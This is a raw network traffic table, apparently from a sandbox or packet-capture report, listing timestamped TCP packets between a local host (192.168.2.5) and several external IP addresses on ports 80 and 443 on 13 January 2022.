Jan 13, 2022 20:51:07.930996895 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.931163073 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.931216955 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.932311058 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.972043037 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.977325916 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.977365971 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.977394104 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.977420092 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.977493048 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.977534056 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.991841078 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.991890907 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.991933107 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.991971970 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.992023945 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.992050886 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.033130884 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.033155918 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.033256054 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.039163113 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.039196968 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.039354086 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.039943933 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.039972067 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.040071964 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.048851013 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.048875093 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.048892021 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.048916101 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.048962116 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.049254894 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.097356081 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.097383976 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.097413063 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.097438097 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.097485065 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.097512007 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.104538918 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.104561090 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.104670048 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.105329990 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.105349064 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.105484962 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.154297113 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.154391050 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.160842896 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.160880089 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.161021948 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.161066055 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.161400080 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.161431074 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.161465883 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.161499977 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.224534988 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.224572897 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.224597931 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.224687099 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.229403019 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.229435921 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.229535103 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.229584932 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.229613066 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.288393974 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.288446903 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.288486958 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.288523912 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.288539886 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.288574934 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.288665056 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.288707018 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.288744926 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.288763046 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.331420898 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.346237898 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.346313953 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.346358061 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.346379042 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.346405983 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.346430063 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.346462011 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.346554041 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.389688015 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.389767885 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.389938116 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.423458099 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.423492908 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.423512936 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.423532963 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.423599005 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.423624992 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.436247110 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.436279058 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.436366081 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.450618029 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.450685978 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.482120037 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.482145071 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.482166052 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.482186079 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.482198000 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.482242107 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.482249022 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.482525110 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.482574940 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.491970062 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.492000103 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.492052078 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.492088079 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.507462025 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.507540941 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.534538031 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.534820080 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.549693108 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.549715042 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.549778938 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.559211016 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.570002079 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.570102930 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.594330072 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.594418049 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.594491005 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.626955032 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.627043009 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.627108097 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.627166986 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.653649092 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.653678894 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.653734922 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.653781891 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.682909012 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.682940960 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.683003902 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.683037996 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.728926897 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.728955984 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.729121923 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.742222071 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.742253065 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.742326975 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.792335033 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.792356014 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.792452097 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.804167986 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.804188967 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.804203987 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.804337025 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.854769945 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.854789972 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.854856014 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.911083937 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.911392927 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.911413908 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.911482096 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.911658049 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.911675930 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.911693096 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:08.911725044 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.911751032 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.911950111 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:08.971657991 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:10.069565058 CET	49797	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:10.126810074 CET	80	49797	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:10.127871037 CET	49797	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:10.128001928 CET	49797	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:10.128015041 CET	49797	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:10.184511900 CET	80	49797	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:10.236757994 CET	80	49797	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:10.236871958 CET	49797	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:10.237035990 CET	49797	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:10.275293112 CET	49798	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:10.295372963 CET	80	49797	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:10.347790956 CET	80	49798	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:10.349597931 CET	49798	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:10.349869967 CET	49798	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:10.350164890 CET	49798	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:10.408538103 CET	80	49798	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:10.484559059 CET	80	49798	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:10.484709024 CET	49798	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:10.485188007 CET	49798	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:10.523464918 CET	49800	443	192.168.2.5	104.21.38.221
Jan 13, 2022 20:51:10.523510933 CET	443	49800	104.21.38.221	192.168.2.5
Jan 13, 2022 20:51:10.523597002 CET	49800	443	192.168.2.5	104.21.38.221
Jan 13, 2022 20:51:10.524034977 CET	49800	443	192.168.2.5	104.21.38.221
Jan 13, 2022 20:51:10.524051905 CET	443	49800	104.21.38.221	192.168.2.5
Jan 13, 2022 20:51:10.547245026 CET	80	49798	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:10.851365089 CET	443	49800	104.21.38.221	192.168.2.5
Jan 13, 2022 20:51:10.851458073 CET	49800	443	192.168.2.5	104.21.38.221
Jan 13, 2022 20:51:10.853959084 CET	49800	443	192.168.2.5	104.21.38.221
Jan 13, 2022 20:51:10.853976011 CET	443	49800	104.21.38.221	192.168.2.5
Jan 13, 2022 20:51:10.854465008 CET	443	49800	104.21.38.221	192.168.2.5
Jan 13, 2022 20:51:10.855391026 CET	49800	443	192.168.2.5	104.21.38.221
Jan 13, 2022 20:51:10.897885084 CET	443	49800	104.21.38.221	192.168.2.5
Jan 13, 2022 20:51:11.488677979 CET	443	49800	104.21.38.221	192.168.2.5
Jan 13, 2022 20:51:11.488816977 CET	443	49800	104.21.38.221	192.168.2.5
Jan 13, 2022 20:51:11.488869905 CET	443	49800	104.21.38.221	192.168.2.5
Jan 13, 2022 20:51:11.488908052 CET	443	49800	104.21.38.221	192.168.2.5
Jan 13, 2022 20:51:11.488944054 CET	443	49800	104.21.38.221	192.168.2.5
Jan 13, 2022 20:51:11.488964081 CET	49800	443	192.168.2.5	104.21.38.221
Jan 13, 2022 20:51:11.488975048 CET	443	49800	104.21.38.221	192.168.2.5
Jan 13, 2022 20:51:11.488982916 CET	49800	443	192.168.2.5	104.21.38.221
Jan 13, 2022 20:51:11.489047050 CET	443	49800	104.21.38.221	192.168.2.5
Jan 13, 2022 20:51:11.489079952 CET	443	49800	104.21.38.221	192.168.2.5
Jan 13, 2022 20:51:11.489124060 CET	49800	443	192.168.2.5	104.21.38.221
Jan 13, 2022 20:51:11.489134073 CET	443	49800	104.21.38.221	192.168.2.5
Jan 13, 2022 20:51:11.489141941 CET	49800	443	192.168.2.5	104.21.38.221
Jan 13, 2022 20:51:11.489227057 CET	443	49800	104.21.38.221	192.168.2.5
Jan 13, 2022 20:51:11.489306927 CET	49800	443	192.168.2.5	104.21.38.221
Jan 13, 2022 20:51:11.505891085 CET	49800	443	192.168.2.5	104.21.38.221
Jan 13, 2022 20:51:11.505928040 CET	443	49800	104.21.38.221	192.168.2.5
Jan 13, 2022 20:51:11.537483931 CET	49805	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:11.593107939 CET	80	49805	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:11.593362093 CET	49805	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:11.593393087 CET	49805	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:11.593396902 CET	49805	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:11.649277925 CET	80	49805	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:11.704269886 CET	80	49805	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:11.704724073 CET	49805	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:11.706595898 CET	49805	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:11.737113953 CET	49807	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:11.737170935 CET	443	49807	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:11.737251043 CET	49807	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:11.737726927 CET	49807	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:11.737760067 CET	443	49807	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:11.763134956 CET	80	49805	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:11.824003935 CET	443	49807	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:11.824089050 CET	49807	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:11.826392889 CET	49807	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:11.826414108 CET	443	49807	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:11.827008009 CET	443	49807	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:11.827888966 CET	49807	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:11.869867086 CET	443	49807	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:11.876374006 CET	443	49807	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:11.876455069 CET	443	49807	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:11.876524925 CET	49807	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:11.876940966 CET	49807	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:11.876965046 CET	443	49807	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:11.905226946 CET	49808	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:11.962093115 CET	80	49808	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:11.962208033 CET	49808	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:11.962338924 CET	49808	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:11.962358952 CET	49808	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:12.017728090 CET	80	49808	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:12.069753885 CET	80	49808	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:12.069936991 CET	49808	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:12.070285082 CET	49808	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:12.136121035 CET	80	49808	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:12.200045109 CET	49809	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:12.257590055 CET	80	49809	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:12.257715940 CET	49809	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:12.259154081 CET	49809	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:12.259179115 CET	49809	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:12.314886093 CET	80	49809	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:12.364533901 CET	80	49809	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:12.364764929 CET	49809	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:12.365004063 CET	80	49809	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:12.365078926 CET	49809	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:12.420998096 CET	80	49809	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:12.430854082 CET	49810	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:12.487885952 CET	80	49810	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:12.488091946 CET	49810	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:12.488208055 CET	49810	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:12.488219976 CET	49810	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:12.544579983 CET	80	49810	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:12.597932100 CET	80	49810	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:12.598067999 CET	49810	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:12.598359108 CET	49810	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:12.678458929 CET	80	49810	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:12.892888069 CET	49811	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:12.963160038 CET	80	49811	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:12.963288069 CET	49811	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:12.964143038 CET	49811	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:12.964168072 CET	49811	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:13.019283056 CET	80	49811	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:13.088090897 CET	80	49811	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:13.088169098 CET	49811	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:13.088344097 CET	49811	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:13.118850946 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:13.153014898 CET	80	49811	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:13.174947977 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:13.175085068 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:13.175174952 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:13.276177883 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.308339119 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.308392048 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.308430910 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.308470011 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.308466911 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.308507919 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.308537006 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.308551073 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.309591055 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.309632063 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.309664965 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.309670925 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.309700966 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.309711933 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.310609102 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.364413977 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.364434958 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.364447117 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.364459991 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.364542007 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.364593983 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.364789963 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.364809036 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.364823103 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.364847898 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.364886045 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.364923000 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.365858078 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.365875006 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.365890980 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.365911007 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.366003036 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.366028070 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.366094112 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.366406918 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.366425991 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.366489887 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.429811954 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.429831028 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.429858923 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.429899931 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.429912090 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.430160999 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.431170940 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.431190968 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.431271076 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.435794115 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.435826063 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.435843945 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.435863018 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.435900927 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.435951948 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.438631058 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.438704967 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.438725948 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.438744068 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.438771963 CET	49812	80	192.168.2.5	45.135.233.182
